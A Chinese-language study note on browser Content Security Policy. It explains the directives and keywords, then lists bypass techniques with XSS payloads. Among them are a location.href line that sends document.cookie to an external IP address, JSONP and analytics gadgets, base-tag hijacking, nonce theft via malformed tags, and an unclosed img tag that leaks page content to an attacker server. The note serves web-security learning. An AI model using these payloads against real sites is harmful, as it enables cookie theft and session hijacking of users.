近期学习笔记
前端安全之CSP
何为csp
CSP指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。简单来说,就是我们能够规定,我们的网站只接受我们指定的请求资源。是防XSS等攻击的利器。
CSP使用
(1)在HTTP Header上使用(优先级更高)
1 | "Content-Security-Policy:" 策略 |
(2)在HTML上使用
1 | <meta http-equiv="content-security-policy" content="策略"> |
一个CSP头由多组CSP策略组成,中间由分号分隔,其中每一组策略包含一个策略指令和一个内容源列表。
1 | Content-Security-Policy: script-src https://host1.com https://host2.com |
简单介绍
CSP关键词
关键词 | 指令和关键词示例 | 关键词说明 |
---|---|---|
* | img-src * | 允许任何内容。 |
‘none’ | img-src ‘none’ | 不允许任何内容。 |
‘self’ | img-src ‘self’ | 允许来自相同来源的内容(相同的协议、域名和端口)。 |
data: | img-src data: | 允许 data: 协议(如 base64 编码的图片)。 |
*.guangzhul.com | img-src *.guangzhul.com | 允许加载 guangzhul.com 任何子域的资源。 |
‘unsafe-inline’ | script-src ‘unsafe-inline’ | 允许加载 inline 资源(例如常见的 style 属性,onclick,inline js 和 inline css 等等)。允许执行页面内嵌的<script>标签和事件监听函数 |
‘unsafe-eval’ | script-src ‘unsafe-eval’ | 允许加载动态 js 代码,例如 eval()。 |
csp指令
指令 | 指令说明 |
---|---|
default-src | 默认加载策略 |
script-src | 对 JavaScript 的加载策略。 |
style-src | 对样式的加载策略。 |
img-src | 对图片的加载策略。 |
connect-src | 对 Ajax、WebSocket 等请求的加载策略。不允许的情况下,浏览器会模拟一个状态为 400 的响应。 |
font-src | 针对 WebFont 的加载策略 |
object-src | 针对 、 或 等标签引入的 flash 等插件的加载策略。 |
media-src | 针对媒体引入的 HTML 多媒体的加载策略。 |
frame-src | 针对 frame 的加载策略。 |
csp绕过
demo
1 | <?php |
首先正常xss
1 | <script>alert(1)</script> |
开启csp后无法弹窗
1 | header("Content-Security-Policy: default-src 'self';"); |
提示
1 | Content Security Policy: 页面设置阻止读取位于 inline 的一项资源("default-src")。 |
这里是因为<script>
标签被拦截
绕过姿势
简单验证csp的作用之后开始模拟获取cookie
Content-Security-Policy: default-src 'self';
这种情况下能将cookie 传递出去吗?
iframe绕过
适用情况:a页面有防护,b页面没有防护
csp情况:a页面default-src 'self';
b页面无
思路:
在 b 页面新建 iframe 用 javascript 直接操作 a 页面的 dom
Payload:
1 | <script> |
location绕过
csp情况:default-src 'self';script-src 'unsafe-inline' 'self';
思路:通过script-src开放的 ‘unsafe-inline’ 执行script标签
payload
1 | <script>location.href='http://106.15.198.173:1234/cookie/'+escape(document.cookie);</script> |
CDN绕过
一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险、
根据现在找的例子,发现大多都已经失效,有兴趣的师傅可以另外再找
1 | 失效 |
站点可控静态资源绕过
www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP
payload
1 | <script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script> |
同理,若其他站点下提供了可控静态资源的功能,且CSP中允许了此站点,则可以采用此方式绕过
利用条件:
- 站点存在可控静态资源
- 站点在CSP白名单中
1 | Content-Security-Policy: script-src https://www.google-analytics.com;default-src 'unsafe-inline' 'unsafe-eval' |
站点可控JSONP绕过
利用点:google站点存在了用户可控jsonp
1 | <script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script> |
这是一个项目 保存着可以利用的网址
1 | https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180 |
Base-uri绕过
利用点:
当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用<base>
标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径
1 | <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'"> |
利用条件:
- script-src只使用nonce
- 没有额外设置base-uri
- 页面引用存在相对路径的
<script>
标签
不完整script标签绕过nonce
考虑下下列场景,如果存在这样场景,该怎么绕过CSP
1 | <?php header("X-XSS-Protection:0");?> |
因为当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第五行的<script会变成一个属性,值为空,之后的nonce=’xxxxx’会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scripr-src
这里可以用到标签的一个技巧,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略
1 | <h1 a="123" b="456" a="789" a="abc">123</h1> |
于是我们可以输入 http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)" a=123 a=
先新建一个a属性,然后再新建第二个a属性,这样我们就将第二个<script赋给了第二个a属性,浏览器在解析的时候直接忽略了第二个属性及其后面的值,这样exp就能成功在chrome浏览器上执行
利用条件:
- 可控点在合法script标签上方,且其中没有其他标签
- XSS页面的CSP script-src只采用了nonce方式
object-src绕过(PDFXSS)
主要就是加载pdf中的xss,但是只能弹窗
SVG绕过
SVG作为一个矢量图,但是却能够执行javascript脚本,如果页面中存在上传功能,并且没有过滤svg,那么可以通过上传恶意svg图像来xss
1 | <?xml version="1.0" encoding="UTF-8" standalone="no"?> |
利用条件:
- 可以上传svg图片
不完整的资源标签获取资源
看看下面的例子,我们如何把flag给带出来
1 | <meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;"> |
这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见
虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出
此时,由于src的引号没有闭合,html解析器会去一直寻找第二个引号,引号其中的大部分标签都不会被解析,所以在第四行的第一个引号前的所有内容,都会被当成src的值被发送到我们的vps上
exp: http://127.0.0.1/2.php?xss=<img src="//VPS_IP?a=
CSS选择器获取内容
就是css注入,个人认为和csp关系不大,而且条件苛刻
CRLF绕过
条件:可控点在CSP上方
当一个页面存在CRLF漏洞时,且我们的可控点在CSP上方,就可以通过注入回车换行,将CSP挤到HTTP返回体中,这样就绕过了CSP